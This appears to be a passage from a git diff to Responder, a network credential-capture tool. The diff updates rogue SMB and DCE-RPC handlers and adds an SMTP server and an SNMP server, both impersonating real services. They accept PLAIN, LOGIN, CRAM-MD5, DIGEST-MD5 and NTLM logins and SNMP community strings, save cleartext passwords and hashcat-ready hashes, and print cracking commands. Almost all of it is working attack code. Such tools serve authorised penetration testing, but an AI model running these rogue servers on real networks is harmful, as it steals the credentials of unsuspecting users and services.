ParseRPCHash(data, self.client_address[0], Challenge)
print(color("[*] [DCE-RPC] NTLM authentication on %s from %s" % (name or "unknown interface", self.client_address[0].replace("::ffff:", "")), 3, 1))
except:
pass
except Exception as e:
if settings.Config.Verbose:
print(text('[DCE-RPC] Exception in RPCMap: %s' % str(e)))
pass
finally:
try:
self.request.close()
except:
pass
class RPCMapper(BaseRequestHandler):
"""RPCMapper handler - Handles actual RPC service connections"""
def handle(self):
try:
data = self.request.recv(2048)
if not data:
return
self.request.settimeout(3)
Challenge = RandomChallenge()
# Look for NTLMSSP NEGOTIATE
if FindNTLMOpcode(data) == b"\x01\x00\x00\x00":
n = NTLMChallenge(NTLMSSPNtServerChallenge=NetworkRecvBufferPython2or3(Challenge))
n.calculate()
RPC = RPCNTLMNego(Data=n)
RPC.calculate()
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
data = self.request.recv(1024)
# Wait for NTLMSSP AUTH
data = self.request.recv(2048)
# Look for NTLMSSP AUTH
if FindNTLMOpcode(data) == b"\x03\x00\x00\x00":
ParseRPCHash(data, self.client_address[0], Challenge)
self.request.close()
except Exception:
self.request.close()
print(color("[*] [DCE-RPC Mapper] NTLM authentication from %s" % self.client_address[0].replace("::ffff:", ""), 3, 1))
# Check if this is a BIND with auth
elif data[0:3] == b"\x05\x00\x0b":
uuid, name = FindInterfaceUUID(data)
if name and settings.Config.Verbose:
print(text('[DCE-RPC Mapper] Connection for %s from %s' % (name, self.client_address[0].replace("::ffff:", ""))))
# Check for NTLMSSP in BIND
if FindNTLMOpcode(data) == b"\x01\x00\x00\x00":
n = NTLMChallenge(NTLMSSPNtServerChallenge=NetworkRecvBufferPython2or3(Challenge))
n.calculate()
RPC = RPCNTLMNego(Data=n)
RPC.calculate()
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
data = self.request.recv(2048)
if FindNTLMOpcode(data) == b"\x03\x00\x00\x00":
ParseRPCHash(data, self.client_address[0], Challenge)
print(color("[*] [DCE-RPC Mapper] NTLM authentication on %s from %s" % (name or "unknown interface", self.client_address[0].replace("::ffff:", "")), 3, 1))
except Exception as e:
if settings.Config.Verbose:
print(text('[DCE-RPC Mapper] Exception: %s' % str(e)))
pass
finally:
try:
self.request.close()
except:
pass

View File

@@ -178,7 +178,7 @@ def IsNT4ClearTxt(data, client):
WordCount = data[HeadLen]
ChainedCmdOffset = data[HeadLen+1]
if ChainedCmdOffset == "\x75":
if ChainedCmdOffset == "\x75" or ChainedCmdOffset == 117:
PassLen = struct.unpack('<H',data[HeadLen+15:HeadLen+17])[0]
if PassLen > 2:
@@ -200,17 +200,16 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP
if not data:
break
if data[0] == "\x81": #session request 139
if data[0:1] == b"\x81": #session request 139
Buffer = "\x82\x00\x00\x00"
try:
self.request.send(Buffer)
data = self.request.recv(1024)
except:
raise
pass
##Negotiate proto answer SMBv2.
if data[8:10] == b"\x72\x00" and re.search(b"SMB 2.\?\?\?", data):
if data[8:10] == b"\x72\x00" and re.search(rb"SMB 2.\?\?\?", data):
head = SMB2Header(CreditCharge="\x00\x00",Credits="\x01\x00")
t = SMB2NegoAns()
t.calculate()
@@ -240,7 +239,11 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP
## Session Setup 3 answer SMBv2.
if data[16:18] == b'\x01\x00' and GrabMessageID(data)[0:1] == b'\x02' or GrabMessageID(data)[0:1] == b'\x03' and data[4:5] == b'\xfe':
ParseSMBHash(data, self.client_address[0], Challenge)
head = SMB2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data).decode('latin-1'), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data).decode('latin-1'), Credits=GrabCreditRequested(data).decode('latin-1'), NTStatus="\x22\x00\x00\xc0", SessionID=GrabSessionID(data).decode('latin-1'))
if settings.Config.ErrorCode:
ntstatus="\x6d\x00\x00\xc0"
else:
ntstatus="\x22\x00\x00\xc0"
head = SMB2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data).decode('latin-1'), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data).decode('latin-1'), Credits=GrabCreditRequested(data).decode('latin-1'), NTStatus=ntstatus, SessionID=GrabSessionID(data).decode('latin-1'))
t = SMB2Session2Data()
packet1 = str(head)+str(t)
buffer1 = StructPython2or3('>i', str(packet1))+str(packet1)
@@ -248,7 +251,7 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP
data = self.request.recv(1024)
# Negotiate Protocol Response smbv1
if data[8:10] == b'\x72\x00' and data[4:5] == b'\xff' and re.search(b'SMB 2.\?\?\?', data) == None:
if data[8:10] == b'\x72\x00' and data[4:5] == b'\xff' and re.search(rb'SMB 2.\?\?\?', data) == None:
Header = SMBHeader(cmd="\x72",flag1="\x88", flag2="\x01\xc8", pid=pidcalc(NetworkRecvBufferPython2or3(data)),mid=midcalc(NetworkRecvBufferPython2or3(data)))
Body = SMBNegoKerbAns(Dialect=Parse_Nego_Dialect(NetworkRecvBufferPython2or3(data)))
Body.calculate()
@@ -336,7 +339,7 @@ class SMB1LM(BaseRequestHandler): # SMB Server class, old version
self.request.settimeout(1)
data = self.request.recv(1024)
Challenge = RandomChallenge()
if data[0] == b"\x81": #session request 139
if data[0:1] == b"\x81": #session request 139
Buffer = "\x82\x00\x00\x00"
self.request.send(NetworkSendBufferPython2or3(Buffer))
data = self.request.recv(1024)
@@ -358,7 +361,11 @@ class SMB1LM(BaseRequestHandler): # SMB Server class, old version
self.request.send(NetworkSendBufferPython2or3(Buffer))
else:
ParseLMNTHash(data,self.client_address[0], Challenge)
head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x22\x00\x00\xc0",pid=pidcalc(NetworkRecvBufferPython2or3(data)),tid=tidcalc(NetworkRecvBufferPython2or3(data)),uid=uidcalc(NetworkRecvBufferPython2or3(data)),mid=midcalc(NetworkRecvBufferPython2or3(data)))
if settings.Config.ErrorCode:
ntstatus="\x6d\x00\x00\xc0"
else:
ntstatus="\x22\x00\x00\xc0"
head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode=ntstatus,pid=pidcalc(NetworkRecvBufferPython2or3(data)),tid=tidcalc(NetworkRecvBufferPython2or3(data)),uid=uidcalc(NetworkRecvBufferPython2or3(data)),mid=midcalc(NetworkRecvBufferPython2or3(data)))
Packet = str(head) + str(SMBSessEmpty())
Buffer = StructPython2or3('>i', str(Packet))+str(Packet)
self.request.send(NetworkSendBufferPython2or3(Buffer))

View File

@@ -1,7 +1,8 @@
#!/usr/bin/env python
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# email: lgaffie@secorizon.com
# Enhanced SMTP server with multiple authentication methods
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
@@ -15,7 +16,12 @@
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
from utils import *
from base64 import b64decode
from base64 import b64decode, b64encode
import hashlib
import codecs
import struct
import re
if settings.Config.PY2OR3 == "PY3":
from socketserver import BaseRequestHandler
else:
@@ -23,59 +29,559 @@ else:
from packets import SMTPGreeting, SMTPAUTH, SMTPAUTH1, SMTPAUTH2
class ESMTP(BaseRequestHandler):
"""Enhanced SMTP server with multiple authentication methods"""
def __init__(self, *args, **kwargs):
self.challenge = None
BaseRequestHandler.__init__(self, *args, **kwargs)
def send_response(self, code, message):
"""Send SMTP response"""
response = "%d %s\r\n" % (code, message)
self.request.send(response.encode('latin-1'))
def send_multiline_response(self, code, lines):
"""Send multi-line SMTP response"""
for i, line in enumerate(lines):
if i < len(lines) - 1:
response = "%d-%s\r\n" % (code, line)
else:
response = "%d %s\r\n" % (code, line)
self.request.send(response.encode('latin-1'))
def send_continue(self, data=""):
"""Send continuation response for AUTH"""
if data:
response = "334 %s\r\n" % data
else:
response = "334\r\n"
self.request.send(response.encode('latin-1'))
def handle_auth_plain(self, data):
"""Handle AUTH PLAIN"""
try:
# AUTH PLAIN can be:
# AUTH PLAIN <base64>
# or
# AUTH PLAIN
# <base64>
auth_match = re.search(b'AUTH PLAIN (.+)', data, re.IGNORECASE)
if auth_match:
# Inline format
auth_data = auth_match.group(1).strip()
else:
# Need to read next line
self.send_continue()
auth_data = self.request.recv(1024).strip()
if not auth_data or auth_data == b'*':
return False
# Decode
decoded = b64decode(auth_data)
# Format: [authzid]\x00username\x00password
parts = decoded.split(b'\x00')
if len(parts) >= 3:
username = parts[1].decode('latin-1', errors='ignore')
password = parts[2].decode('latin-1', errors='ignore')
elif len(parts) == 2:
username = parts[0].decode('latin-1', errors='ignore')
password = parts[1].decode('latin-1', errors='ignore')
else:
return False
SaveToDb({
'module': 'SMTP',
'type': 'AUTH-PLAIN',
'client': self.client_address[0],
'user': username,
'cleartext': password,
'fullhash': username + ":" + password,
})
if settings.Config.Verbose:
print(color("[*] [SMTP] Captured AUTH PLAIN credentials from %s for user %s" % (
self.client_address[0].replace("::ffff:", ""), username), 2, 1))
return True
except Exception as e:
if settings.Config.Verbose:
print(text('[SMTP] Error parsing AUTH PLAIN: %s' % str(e)))
return False
def handle_auth_login(self, data):
"""Handle AUTH LOGIN (two-stage)"""
try:
# Check if username is inline
auth_match = re.search(b'AUTH LOGIN (.+)', data, re.IGNORECASE)
if auth_match:
# Username provided inline
username_b64 = auth_match.group(1).strip()
username = b64decode(username_b64).decode('latin-1', errors='ignore')
else:
# Prompt for username
self.send_continue(b64encode(b"Username:").decode('latin-1'))
username_b64 = self.request.recv(1024).strip()
if not username_b64 or username_b64 == b'*':
return False
username = b64decode(username_b64).decode('latin-1', errors='ignore')
# Prompt for password
self.send_continue(b64encode(b"Password:").decode('latin-1'))
password_b64 = self.request.recv(1024).strip()
if not password_b64 or password_b64 == b'*':
return False
password = b64decode(password_b64).decode('latin-1', errors='ignore')
SaveToDb({
'module': 'SMTP',
'type': 'AUTH-LOGIN',
'client': self.client_address[0],
'user': username,
'cleartext': password,
'fullhash': username + ":" + password,
})
if settings.Config.Verbose:
print(color("[*] [SMTP] Captured AUTH LOGIN credentials from %s for user %s" % (
self.client_address[0].replace("::ffff:", ""), username), 2, 1))
return True
except Exception as e:
if settings.Config.Verbose:
print(text('[SMTP] Error parsing AUTH LOGIN: %s' % str(e)))
return False
def handle_auth_cram_md5(self, data):
"""Handle AUTH CRAM-MD5 (challenge-response)"""
try:
import time
import os
# Generate challenge
challenge = "<%d.%d@%s>" % (os.getpid(), int(time.time()), settings.Config.MachineName)
challenge_b64 = b64encode(challenge.encode('latin-1')).decode('latin-1')
# Send challenge
self.send_continue(challenge_b64)
# Receive response
response_b64 = self.request.recv(1024).strip()
if not response_b64 or response_b64 == b'*':
return False
response = b64decode(response_b64).decode('latin-1', errors='ignore')
# Format: username<space>digest
parts = response.split(' ', 1)
if len(parts) < 2:
return False
username = parts[0]
digest = parts[1].lower()
# Format for hashcat
hash_string = "%s:$cram_md5$%s$%s" % (username, challenge, digest)
SaveToDb({
'module': 'SMTP',
'type': 'CRAM-MD5',
'client': self.client_address[0],
'user': username,
'hash': digest,
'fullhash': hash_string,
})
if settings.Config.Verbose:
print(color("[*] [SMTP] Captured CRAM-MD5 hash from %s for user %s" % (
self.client_address[0].replace("::ffff:", ""), username), 3, 1))
return True
except Exception as e:
if settings.Config.Verbose:
print(text('[SMTP] Error parsing CRAM-MD5: %s' % str(e)))
return False
def handle_auth_digest_md5(self, data):
"""Handle AUTH DIGEST-MD5"""
try:
import time
import os
# Generate nonce
nonce = hashlib.md5(str(time.time()).encode()).hexdigest()
# Build challenge
challenge_parts = [
'realm="%s"' % settings.Config.MachineName,
'nonce="%s"' % nonce,
'qop="auth"',
'charset=utf-8',
'algorithm=md5-sess'
]
challenge = ','.join(challenge_parts)
challenge_b64 = b64encode(challenge.encode('latin-1')).decode('latin-1')
# Send challenge
self.send_continue(challenge_b64)
# Receive response
response_b64 = self.request.recv(1024).strip()
if not response_b64 or response_b64 == b'*':
return False
response = b64decode(response_b64).decode('latin-1', errors='ignore')
# Parse response
username_match = re.search(r'username="([^"]+)"', response)
realm_match = re.search(r'realm="([^"]+)"', response)
nonce_match = re.search(r'nonce="([^"]+)"', response)
cnonce_match = re.search(r'cnonce="([^"]+)"', response)
nc_match = re.search(r'nc=([0-9a-fA-F]+)', response)
qop_match = re.search(r'qop=([a-z\-]+)', response)
uri_match = re.search(r'digest-uri="([^"]+)"', response)
response_match = re.search(r'response=([0-9a-fA-F]+)', response)
if not username_match or not response_match:
return False
username = username_match.group(1)
realm = realm_match.group(1) if realm_match else ''
resp_nonce = nonce_match.group(1) if nonce_match else ''
cnonce = cnonce_match.group(1) if cnonce_match else ''
nc = nc_match.group(1) if nc_match else ''
qop = qop_match.group(1) if qop_match else ''
uri = uri_match.group(1) if uri_match else ''
resp_hash = response_match.group(1)
# Format for hashcat/john
hash_string = "%s:$sasl$DIGEST-MD5$%s$%s$%s$%s$%s$%s$%s" % (
username, realm, nonce, cnonce, nc, qop, uri, resp_hash
)
SaveToDb({
'module': 'SMTP',
'type': 'DIGEST-MD5',
'client': self.client_address[0],
'user': username,
'hash': resp_hash,
'fullhash': hash_string,
})
if settings.Config.Verbose:
print(color("[*] [SMTP] Captured DIGEST-MD5 hash from %s for user %s" % (
self.client_address[0].replace("::ffff:", ""), username), 3, 1))
# Send rspauth (expected by some clients)
rspauth = 'rspauth=' + resp_hash
self.send_continue(b64encode(rspauth.encode('latin-1')).decode('latin-1'))
# Client should send empty line
self.request.recv(1024)
return True
except Exception as e:
if settings.Config.Verbose:
print(text('[SMTP] Error parsing DIGEST-MD5: %s' % str(e)))
return False
def handle_auth_ntlm(self, data):
"""Handle AUTH NTLM with proper Type 2 challenge"""
try:
import time
# Check for inline NTLM NEGOTIATE
auth_match = re.search(b'AUTH NTLM (.+)', data, re.IGNORECASE)
if auth_match:
negotiate_b64 = auth_match.group(1).strip()
else:
# Send empty continuation
self.send_continue()
negotiate_b64 = self.request.recv(1024).strip()
if not negotiate_b64 or negotiate_b64 == b'*':
return False
negotiate = b64decode(negotiate_b64)
# Verify NTLMSSP signature
if negotiate[0:8] != b'NTLMSSP\x00':
return False
msg_type = struct.unpack('<I', negotiate[8:12])[0]
if msg_type != 1: # Type 1 - NEGOTIATE
return False
# Generate Type 2 with proper structure
type2_msg = self.generate_ntlm_type2()
challenge_b64 = b64encode(type2_msg).decode('latin-1')
# Send challenge
self.send_continue(challenge_b64)
# Receive NTLMSSP AUTH (Type 3)
auth_b64 = self.request.recv(2048).strip()
if not auth_b64 or auth_b64 == b'*':
return False
auth_data = b64decode(auth_b64)
# Parse Type 3 and extract hash
ntlm_hash = self.parse_ntlm_type3(auth_data, type2_msg)
if ntlm_hash:
# Extract username from hash for logging
username = ntlm_hash.split('::')[0]
SaveToDb({
'module': 'SMTP',
'type': 'NTLMv2-SSP',
'client': self.client_address[0],
'user': username,
'hash': ntlm_hash,
'fullhash': ntlm_hash,
})
if settings.Config.Verbose:
print(color("[*] [SMTP] Captured NTLMv2 hash from %s for user %s" % (
self.client_address[0].replace("::ffff:", ""), username), 3, 1))
return True
return False
except Exception as e:
if settings.Config.Verbose:
print(text('[SMTP] Error parsing NTLM: %s' % str(e)))
return False
def generate_ntlm_type2(self):
"""Generate NTLM Type 2 with target info for NTLMv2"""
import time
# Generate random 8-byte challenge
challenge = RandomChallenge()
# Target name: "WORKGROUP" (18 bytes in UTF-16LE)
target_name = b'WORKGROUP'.decode('ascii').encode('utf-16le')
target_name_len = len(target_name)
# Build target info (AV pairs) for NTLMv2
target_info = b''
# MsvAvNbDomainName (0x0002)
av_domain = b'WORKGROUP'.decode('ascii').encode('utf-16le')
target_info += struct.pack('<HH', 0x0002, len(av_domain)) + av_domain
# MsvAvNbComputerName (0x0001)
av_computer = b'SERVER'.decode('ascii').encode('utf-16le')
target_info += struct.pack('<HH', 0x0001, len(av_computer)) + av_computer
# MsvAvDnsDomainName (0x0004)
av_dns_domain = b'workgroup'.decode('ascii').encode('utf-16le')
target_info += struct.pack('<HH', 0x0004, len(av_dns_domain)) + av_dns_domain
# MsvAvDnsComputerName (0x0003)
av_dns_computer = b'server'.decode('ascii').encode('utf-16le')
target_info += struct.pack('<HH', 0x0003, len(av_dns_computer)) + av_dns_computer
# MsvAvTimestamp (0x0007) - 8 bytes FILETIME
filetime = int((time.time() + 11644473600) * 10000000)
target_info += struct.pack('<HH', 0x0007, 8) + struct.pack('<Q', filetime)
# MsvAvEOL (0x0000)
target_info += struct.pack('<HH', 0x0000, 0)
target_info_len = len(target_info)
# Calculate offsets
target_name_offset = 48
target_info_offset = target_name_offset + target_name_len
# Build Type 2 message
type2_msg = b'NTLMSSP\x00' # Signature
type2_msg += struct.pack('<I', 2) # Type 2
# Target name (LE format: len, max len, offset)
type2_msg += struct.pack('<HHI', target_name_len, target_name_len, target_name_offset)
# Flags - use HTTP server flags for compatibility
type2_msg += b'\x05\x02\x81\xa2' # 0xa2810205
# Challenge (8 bytes)
type2_msg += challenge
# Context (8 bytes, reserved)
type2_msg += b'\x00' * 8
# Target info (LE format: len, max len, offset)
type2_msg += struct.pack('<HHI', target_info_len, target_info_len, target_info_offset)
# Payload
type2_msg += target_name
type2_msg += target_info
return type2_msg
def parse_ntlm_type3(self, type3_msg, type2_msg):
"""Parse Type 3 and extract NetNTLMv2 hash"""
try:
# Verify signature
if type3_msg[:8] != b'NTLMSSP\x00':
return None
# Verify message type
msg_type = struct.unpack('<I', type3_msg[8:12])[0]
if msg_type != 3:
return None
# Parse security buffers
# LM Response
lm_len, lm_maxlen, lm_offset = struct.unpack('<HHI', type3_msg[12:20])
# NTLM Response
ntlm_len, ntlm_maxlen, ntlm_offset = struct.unpack('<HHI', type3_msg[20:28])
# Domain name
domain_len, domain_maxlen, domain_offset = struct.unpack('<HHI', type3_msg[28:36])
# User name
user_len, user_maxlen, user_offset = struct.unpack('<HHI', type3_msg[36:44])
# Workstation name
ws_len, ws_maxlen, ws_offset = struct.unpack('<HHI', type3_msg[44:52])
# Extract strings
if user_offset + user_len <= len(type3_msg):
user = type3_msg[user_offset:user_offset+user_len].decode('utf-16le', errors='ignore')
else:
user = ""
if domain_offset + domain_len <= len(type3_msg):
domain = type3_msg[domain_offset:domain_offset+domain_len].decode('utf-16le', errors='ignore')
else:
domain = ""
# DO NOT parse email addresses - use exact Type 3 fields for hashcat
if ws_offset + ws_len <= len(type3_msg):
workstation = type3_msg[ws_offset:ws_offset+ws_len].decode('utf-16le', errors='ignore')
else:
workstation = ""
# Extract NTLM response
if ntlm_offset + ntlm_len <= len(type3_msg):
ntlm_response = type3_msg[ntlm_offset:ntlm_offset+ntlm_len]
else:
return None
# Check if NTLMv2 (response length > 24 bytes)
if len(ntlm_response) > 24:
# NTLMv2
ntlmv2_response = ntlm_response[:16] # First 16 bytes
ntlmv2_blob = ntlm_response[16:] # Rest is the blob
# Extract challenge from Type 2
challenge = type2_msg[24:32] # Challenge is at offset 24
# Build hashcat NetNTLMv2 format
# Format: username::domain:challenge:ntlmv2_response:blob
# For hashcat mode 5600
hash_str = "%s::%s:%s:%s:%s" % (
user,
domain,
codecs.encode(challenge, 'hex').decode('latin-1'),
codecs.encode(ntlmv2_response, 'hex').decode('latin-1'),
codecs.encode(ntlmv2_blob, 'hex').decode('latin-1')
)
return hash_str
# NTLMv1 or unsupported
return None
except Exception as e:
return None
def handle(self):
try:
# Send greeting
self.request.send(NetworkSendBufferPython2or3(SMTPGreeting()))
data = self.request.recv(1024)
if data[0:4] == b'EHLO' or data[0:4] == b'ehlo':
self.request.send(NetworkSendBufferPython2or3(SMTPAUTH()))
# Handle EHLO
if data[0:4].upper() == b'EHLO' or data[0:4].upper() == b'HELO':
# Send ESMTP capabilities
capabilities = [
settings.Config.MachineName + " Hello",
"AUTH PLAIN LOGIN CRAM-MD5 DIGEST-MD5 NTLM",
"SIZE 35651584",
"8BITMIME",
"PIPELINING",
"ENHANCEDSTATUSCODES"
]
self.send_multiline_response(250, capabilities)
data = self.request.recv(1024)
if data[0:4] == b'AUTH':
AuthPlain = re.findall(b'(?<=AUTH PLAIN )[^\r]*', data)
if AuthPlain:
User = list(filter(None, b64decode(AuthPlain[0]).split(b'\x00')))
Username = User[0].decode('latin-1')
Password = User[1].decode('latin-1')
SaveToDb({
'module': 'SMTP',
'type': 'Cleartext',
'client': self.client_address[0],
'user': Username,
'cleartext': Password,
'fullhash': Username+":"+Password,
})
else:
self.request.send(NetworkSendBufferPython2or3(SMTPAUTH1()))
data = self.request.recv(1024)
# Handle AUTH command
if data[0:4].upper() == b'AUTH':
mechanism = data[5:].strip().split(b' ')[0].upper()
if data:
try:
User = list(filter(None, b64decode(data).split(b'\x00')))
Username = User[0].decode('latin-1')
Password = User[1].decode('latin-1')
except:
Username = b64decode(data).decode('latin-1')
self.request.send(NetworkSendBufferPython2or3(SMTPAUTH2()))
data = self.request.recv(1024)
if data:
try: Password = b64decode(data)
except: Password = data
SaveToDb({
'module': 'SMTP',
'type': 'Cleartext',
'client': self.client_address[0],
'user': Username,
'cleartext': Password,
'fullhash': Username+":"+Password,
})
except Exception:
if mechanism == b'PLAIN':
if self.handle_auth_plain(data):
self.send_response(235, "Authentication successful")
else:
self.send_response(535, "Authentication failed")
return
elif mechanism == b'LOGIN':
if self.handle_auth_login(data):
self.send_response(235, "Authentication successful")
else:
self.send_response(535, "Authentication failed")
return
elif mechanism == b'CRAM-MD5' or mechanism.startswith(b'CRAM'):
if self.handle_auth_cram_md5(data):
self.send_response(235, "Authentication successful")
else:
self.send_response(535, "Authentication failed")
return
elif mechanism == b'DIGEST-MD5' or mechanism.startswith(b'DIGEST'):
if self.handle_auth_digest_md5(data):
self.send_response(235, "Authentication successful")
else:
self.send_response(535, "Authentication failed")
return
elif mechanism == b'NTLM':
if self.handle_auth_ntlm(data):
self.send_response(235, "Authentication successful")
else:
self.send_response(535, "Authentication failed")
return
else:
self.send_response(504, "Unrecognized authentication type")
return
# Handle other commands
self.send_response(250, "OK")
except Exception as e:
if settings.Config.Verbose:
print(text('[SMTP] Exception: %s' % str(e)))
pass

391
servers/SNMP.py Executable file
View File

@@ -0,0 +1,391 @@
#!/usr/bin/env python
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: lgaffie@secorizon.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
from utils import *
from binascii import hexlify, unhexlify
import struct
try:
from pyasn1.codec.ber.decoder import decode
from pyasn1.codec.ber.encoder import encode
HAS_PYASN1 = True
except ImportError:
HAS_PYASN1 = False
if settings.Config.Verbose:
print(text('[SNMP] Warning: pyasn1 not installed, SNMP server disabled'))
if settings.Config.PY2OR3 == "PY3":
from socketserver import BaseRequestHandler
else:
from SocketServer import BaseRequestHandler
# SNMPv3 Authentication Algorithms
SNMPV3_AUTH_ALGORITHMS = {
b'\x06\x0c\x2b\x06\x01\x06\x03\x0f\x01\x01\x04\x00': ('usmNoAuthProtocol', None),
b'\x06\x0a\x2b\x06\x01\x06\x03\x0a\x01\x01\x02': ('usmHMACMD5AuthProtocol', 25100),
b'\x06\x0a\x2b\x06\x01\x06\x03\x0a\x01\x01\x03': ('usmHMACSHAAuthProtocol', 25200),
b'\x06\x09\x2b\x06\x01\x06\x03\x0a\x01\x01\x04': ('usmHMAC128SHA224AuthProtocol', 25300),
b'\x06\x09\x2b\x06\x01\x06\x03\x0a\x01\x01\x05': ('usmHMAC192SHA256AuthProtocol', 25400),
b'\x06\x09\x2b\x06\x01\x06\x03\x0a\x01\x01\x06': ('usmHMAC256SHA384AuthProtocol', 25500),
b'\x06\x09\x2b\x06\x01\x06\x03\x0a\x01\x01\x07': ('usmHMAC384SHA512AuthProtocol', 25600),
}
class SNMP(BaseRequestHandler):
def handle(self):
if not HAS_PYASN1:
return
try:
data = self.request[0]
socket = self.request[1]
# Decode the SNMP message
try:
received_record, rest_of_substrate = decode(data)
except Exception as e:
if settings.Config.Verbose:
print(text('[SNMP] ASN.1 decode error: %s' % str(e)))
return
# Get SNMP version
try:
snmp_version = int(received_record['field-0'])
except:
if settings.Config.Verbose:
print(text('[SNMP] Could not determine SNMP version'))
return
# Handle SNMPv3
if snmp_version == 3:
self.handle_snmpv3(data, received_record, socket)
# Handle SNMPv1/v2c
else:
self.handle_snmpv1v2c(data, received_record, snmp_version, socket)
except Exception as e:
if settings.Config.Verbose:
print(text('[SNMP] Exception in handler: %s' % str(e)))
pass
def handle_snmpv3(self, data, received_record, socket):
"""Handle SNMPv3 messages and extract authentication parameters"""
try:
# Decode the inner security parameters
received_record_inner, _ = decode(received_record['field-2'])
# Extract fields
snmp_user = str(received_record_inner['field-3'])
engine_id = hexlify(received_record_inner['field-0']._value).decode('utf-8')
engine_boots = int(received_record_inner['field-1'])
engine_time = int(received_record_inner['field-2'])
auth_params = hexlify(received_record_inner['field-4']._value).decode('utf-8')
priv_params = hexlify(received_record_inner['field-5']._value).decode('utf-8')
# Zero out authentication parameters in packet for hashcat
# Hashcat recalculates HMAC over packet with auth params = zeros
data_hex = hexlify(data).decode('utf-8')
if auth_params and auth_params != '00' * 12:
# Replace auth params with zeros in the packet
zeroed_auth = '00' * (len(auth_params) // 2)
full_snmp_msg = data_hex.replace(auth_params, zeroed_auth)
else:
full_snmp_msg = data_hex
# Determine authentication algorithm
auth_algo_name, hashcat_mode = self.identify_auth_algorithm(data)
# If not detected by OID, infer from auth params length
if not hashcat_mode and auth_params and auth_params != '00' * 12:
auth_len = len(auth_params) // 2 # Convert hex to bytes
if auth_len == 12:
# Could be MD5 or SHA1 - use combined mode
auth_algo_name = 'HMAC-MD5-96/HMAC-SHA1-96'
hashcat_mode = 25000
elif auth_len == 16:
auth_algo_name = 'HMAC-SHA224'
hashcat_mode = 25300
elif auth_len == 24:
auth_algo_name = 'HMAC-SHA256'
hashcat_mode = 25400
elif auth_len == 32:
auth_algo_name = 'HMAC-SHA384'
hashcat_mode = 25500
elif auth_len == 48:
auth_algo_name = 'HMAC-SHA512'
hashcat_mode = 25600
# Check if this is a discovery request (no auth params and empty username)
if (not auth_params or auth_params == '00' * 12) and (not snmp_user or snmp_user == ''):
# Send discovery response with our engine ID
self.send_discovery_response(socket, received_record)
return
# Check if authentication is actually being used
if not auth_params or auth_params == '00' * 12:
# Still save the username with noAuth indicator
SaveToDb({
"module": "SNMP",
"type": "SNMPv3-noAuth",
"client": self.client_address[0],
"user": snmp_user,
"cleartext": "(noAuth)",
"fullhash": snmp_user + ":(noAuth)"
})
return
# Build hashcat-compatible hash
if hashcat_mode:
# Format for mode 25000: $SNMPv3$<type>$<boots>$<packet>$<engine_id>$<auth_params>
# type: 0=MD5/SHA1, 1=SHA1, 2=SHA224, etc.
# boots: engine boots in decimal
# packet: full SNMP packet in hex
# engine_id: engine ID in hex
# auth_params: authentication parameters in hex
auth_type_map = {
25000: 0, # MD5/SHA1 combined
25100: 0, # MD5
25200: 1, # SHA1
25300: 2, # SHA224
25400: 3, # SHA256
25500: 4, # SHA384
25600: 5, # SHA512
}
auth_type = auth_type_map.get(hashcat_mode, 0)
# Build the hash in correct format
hashcat_hash = "$SNMPv3$%d$%d$%s$%s$%s" % (
auth_type,
engine_boots,
full_snmp_msg,
engine_id,
auth_params
)
if settings.Config.Verbose:
print(text('[SNMP] SNMPv3 hash captured!'))
print(text('[SNMP] Crack with: hashcat -m %d hash.txt wordlist.txt' % hashcat_mode))
if hashcat_mode == 25000:
print(text('[SNMP] Note: Mode 25000 tries both MD5 and SHA1'))
print(text('[SNMP] Or use -m 25100 (MD5 only) or -m 25200 (SHA1 only)'))
# Sanitize type name for filesystem (remove slashes)
safe_type = auth_algo_name.replace('/', '-')
SaveToDb({
"module": "SNMP",
"type": "SNMPv3-%s" % safe_type,
"client": self.client_address[0],
"user": snmp_user,
"hash": hashcat_hash,
"fullhash": hashcat_hash
})
else:
# Unknown algorithm or no auth - save basic info
SaveToDb({
"module": "SNMP",
"type": "SNMPv3",
"client": self.client_address[0],
"user": snmp_user,
"hash": auth_params,
"fullhash": "{}:{}:{}:{}".format(snmp_user, full_snmp_msg, engine_id, auth_params)
})
# Send a response (Report PDU indicating authentication failure)
# This keeps the conversation going
self.send_snmpv3_report(socket)
except Exception as e:
if settings.Config.Verbose:
print(text('[SNMP] SNMPv3 parsing error: %s' % str(e)))
pass
def handle_snmpv1v2c(self, data, received_record, snmp_version, socket):
"""Handle SNMPv1/v2c messages and extract community strings"""
try:
community_string = str(received_record['field-1'])
version_str = 'v1' if snmp_version == 0 else 'v2c'
if settings.Config.Verbose:
print(text('[SNMP] %s Community String: %s' % (version_str, community_string)))
# Validate community string (should be printable)
if not community_string or not self.is_printable(community_string):
return
SaveToDb({
"module": "SNMP",
"type": "Cleartext SNMP%s" % version_str,
"client": self.client_address[0],
"user": community_string,
"cleartext": community_string,
"fullhash": community_string,
})
# Send a response (could be a proper SNMP response or error)
# For now, we just close the connection
except Exception as e:
if settings.Config.Verbose:
print(text('[SNMP] SNMPv1/v2c parsing error: %s' % str(e)))
pass
def identify_auth_algorithm(self, data):
"""
Identify the authentication algorithm used in SNMPv3
Returns (algorithm_name, hashcat_mode)
"""
try:
